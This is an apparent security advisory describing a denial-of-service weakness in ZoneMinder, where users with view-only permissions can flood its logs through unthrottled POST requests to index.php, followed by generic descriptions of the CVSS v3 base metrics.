Description

Impact

This is a potential Denial Of Service vulnerability.

Vulnerability allows users with "View" system permissions to inject data into the logs stored by Zoneminder. This was observed through an HTTP POST request containing log information to the "/zm/index.php" endpoint. Submission is not rate controlled and could affect database performance and/or consume all storage resources.

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
